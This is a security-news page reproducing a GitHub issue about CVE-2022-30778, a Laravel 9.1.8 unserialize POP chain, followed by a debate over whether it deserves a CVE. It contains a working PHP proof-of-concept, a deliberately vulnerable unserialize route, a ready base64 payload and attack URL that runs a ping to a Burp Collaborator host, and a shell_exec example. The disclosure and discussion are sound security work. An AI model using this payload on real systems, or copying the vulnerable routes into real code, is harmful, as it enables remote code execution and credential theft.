Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2022-30778: Laravel 9.1.8 POP chain · Issue #1 · 1nhann/vulns

Laravel 9.1.8, when processing attacker-controlled data for deserialization, allows Remote Code Execution via an unserialize pop chain in __destruct in Illuminate\Broadcasting\PendingBroadcast.php and dispatch($command) in Illuminate\Bus\QueueingDispatcher.php.

CVE
#vulnerability#web#apple#php#rce#buffer_overflow

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30778

Build a route to test:

routes/web.php :

<?php

use Illuminate\Support\Facades\Route;

/* |--------------------------------------------------------------------------

Web Routes
Here is where you can register web routes for your application. These
routes are loaded by the RouteServiceProvider within a group which
contains the “web” middleware group. Now create something great!

*/

Route::get('/’, function (\Illuminate\Http\Request $request) { // return view(‘welcome’); $ser = base64_decode($request->input(“ser”)); unserialize($ser); return "ok"; });

poc

<?php namespace Illuminate\Contracts\Queue{ interface ShouldQueue { // } }

namespace Illuminate\Bus{ class Dispatcher{ protected $container; protected $pipeline; protected $pipes = []; protected $handlers = []; protected $queueResolver; function __construct() { $this->queueResolver = "system";

    }
}

}

namespace Illuminate\Broadcasting{

use Illuminate\\Contracts\\Queue\\ShouldQueue;

class BroadcastEvent implements ShouldQueue {
    function \_\_construct()
    {

    }
}
class PendingBroadcast{
    protected $events;
    protected $event;
    function \_\_construct()
    {
        $this\->event = new BroadcastEvent();
        $this\->event\->connection = "ping -nc 1 laravel.me40p9vxwjbs7may8s6puipge7kx8m.burpcollaborator.net";
        $this\->events = new \\Illuminate\\Bus\\Dispatcher();
    }
}

} namespace{ $a = new \Illuminate\Broadcasting\PendingBroadcast(); echo base64_encode(serialize($a)); }

result :

Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czo3MDoicGluZyAtbmMgMSBsYXJhdmVsLm1lNDBwOXZ4d2piczdtYXk4czZwdWlwZ2U3a3g4bS5idXJwY29sbGFib3JhdG9yLm5ldCI7fX0=

attack

http://127.0.0.1:1080/?ser=Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czo3MDoicGluZyAtbmMgMSBsYXJhdmVsLm1lNDBwOXZ4d2piczdtYXk4czZwdWlwZ2U3a3g4bS5idXJwY29sbGFib3JhdG9yLm5ldCI7fX0=

So, why was a CVE issued for this?

I don’t see an attack scenario here. Could you describe in what way this is destructive or gives unintended effects?

I don’t see an attack scenario here. Could you describe in what way this is destructive or gives unintended effects?

@caendesilva If successfully exploited, an attacker would be able to perform remote code execution. In the example above this is demonstrated by running the ping command, which is a harmless way to confirm.

A malicious attacker could execute any command. This could be used to spawn a reverse shell, read and write files, access .env credentials, pivot to the database, etc.

Successful exploitation would require the use of unserialize within your laravel application and passing untrusted user input to that. While not recommended, it’s also not unheard of.

I don’t see an attack scenario here. Could you describe in what way this is destructive or gives unintended effects?

@caendesilva If successfully exploited, an attacker would be able to perform remote code execution. In the example above this is demonstrated by running the ping command, which is a harmless way to confirm.

A malicious attacker could execute any command. This could be used to spawn a reverse shell, read and write files, access .env credentials, pivot to the database, etc.

Successful exploitation would require the use of unserialize within your laravel application and passing untrusted user input to that. While not recommended, it’s also not unheard of.

Thank you so much for the explanation. What confused me is that the ping command is entered from within your backend code. Are you claiming that the following string ping -nc 1 laravel.me40p9vxwjbs7may8s6puipge7kx8m.burpcollaborator.net can be entered and then executed by an attacker through the example route?

Are you aware of any instances in “official” (as in code maintained by the Laravel org) codebases where this is used? From your reply I know that my codebase does not contain this vulnerability, but if it is present in say Laravel Jetstream, that’s something that should be noted.

The main problem I see is that a POP chain is NEVER a vulnerability by itself. The vulnerability would be to call unserialiase() to deserialise unvalidated input. But this instance doesn’t appear in the code, hence it should not even be considered valid for a CVE.

It’s really a nice finding tho. Just doesn’t make sense to have it as a CVE, because… it’s not a vulnerability.

Are you claiming that the following string ping -nc 1 laravel.me40p9vxwjbs7may8s6puipge7kx8m.burpcollaborator.net can be entered and then executed by an attacker through the example route?

That is correct, by using the PoC to generate a base64 payload we can pass that to the example route. I have not personally reviewed all the laravel maintained codebases, but anywhere unserialize accepts user controlled input would be vulnerable.

The main problem I see is that a POP chain is NEVER a vulnerability by itself. The vulnerability would be to call unserialiase() to deserialise unvalidated input. But this instance doesn’t appear in the code, hence it should not even be considered valid for a CVE.

It’s really a nice finding tho. Just doesn’t make sense to have it as a CVE, because… it’s not a vulnerability.

So having code execution on unserialize is a feature ?

So having code execution on unserialize is a feature ?

The official PHP docs warn of this.

This also reflects Taylor Otwell’s response when I asked if he was aware of this CVE.

On Tuesday, May 17th, 2022 at 12:06, taylorotwell [email protected] wrote:

Passing unsanitized user input to unserialize is never safe in PHP.

Of note: Snyk points to this being the vulnerable code in question.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data via an unserialize pop chain in __destruct and dispatch($command).

@pasterp If you deserialise untrusted data, it’s your fault for doing that. If there is whatever POP chain in your code, you may allow an attacker to execute arbitrary code, but the POP chain just makes the vulnerability worse, it DOES NOT constitute the vulnerability.

To make an example, if you have a stack buffer overflow, you can exploit it with a ROP chain, but the vulnerability is not the ROP chain, it is the bloody stack buffer overflow.
Saying that the POP chain is the vulnerability is like saying that the ROP chain is the vulnerability, and that’s false.

Calling unserialise on untrusted data is a vulnerability.

Copy link

** pqlx commented May 17, 2022 •**

I think there should be some serious thought about revoking this CVE.

As pointed out, there is no security boundary being breached here. Passing arbitrary data to unserialize has always been classified as "unsafe". That the Laravel core framework just happens to have a few classes that you could readily use in such a scenario does not constitute a vulnerability on their part.

Besides, there’s no real fix for people using unserialize inappropriately anyway. As @klezVirus points out, it’s analogous to something like ROP gadgets. (Framework) developers can keep patching their classes to not do stuff in e.g. __construct or __destruct, but besides making code more complex (and maybe eliminating low-hanging fruit), there are always going to be more complex chains that give the attacker more control. It is a fundamental issue with unserialize.

So having code execution on unserialize is a feature ?

No it’s not. But it’s not necessarily a vulnerability either. If someone were to pass unsafe user input into an exec() call, that would be a vulnerability in that persons code, but it’s not a vulnerability within PHP.

If there are any usages in the Laravel core framework that actually has code akin to this, then yeah it should be a CVE. But since it does not seem to be so, this is not any more of a vulnerability in Laravel as the following is:

// Obviously DON’T actually do this in a real app Route::get('/’, function (\Illuminate\Http\Request $request) { echo shell_exec($request->input(‘name’)); });

While my example above for sure is a vulnerability in my code (if it was actually deployed), it’s not a vulnerability within Laravel, or even PHP.

@caendesilva I’d argue comparing exec to unserialize is an apples to oranges comparison and not really the best analogy for what is happening here.

While I agree it’s not best practice to pass untrusted user input to unserialize, doing that alone does not automatically create a path for exploitation.

So just to clarify as we also got the snyk alert. The vulnerability here is that there exists a class in Laravel which will do code execution when called, but that the only route to call it is via unserialize which is not passed untrusted user input in laravel itself. So it isn’t reachable unless a user (developer) calls unserialize() on untrusted input which is bad idea anyway (according to the docs and common sense).

I’m here too because of snyk. Is there any solution to this?

I’m here too because of snyk. Is there any solution to this?

@oreillysean Check your code for any areas that might use unserialize and accept user input. If none are found you can mark it as ignored in Synk since it’s not applicable to you.

this is for Laravel 9.1.8 only ?
if yes, Snyk raised a false alert for my 8.83.12 Laravel ?

@GlitchWitch yes I agree with you. However would this not fix the issue as stated in the CVE oreillysean/framework@57c5f57

I haven’t had a chance to test, but perhaps it would be worth submitting your proposed fix as a PR for the Laravel team to review.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907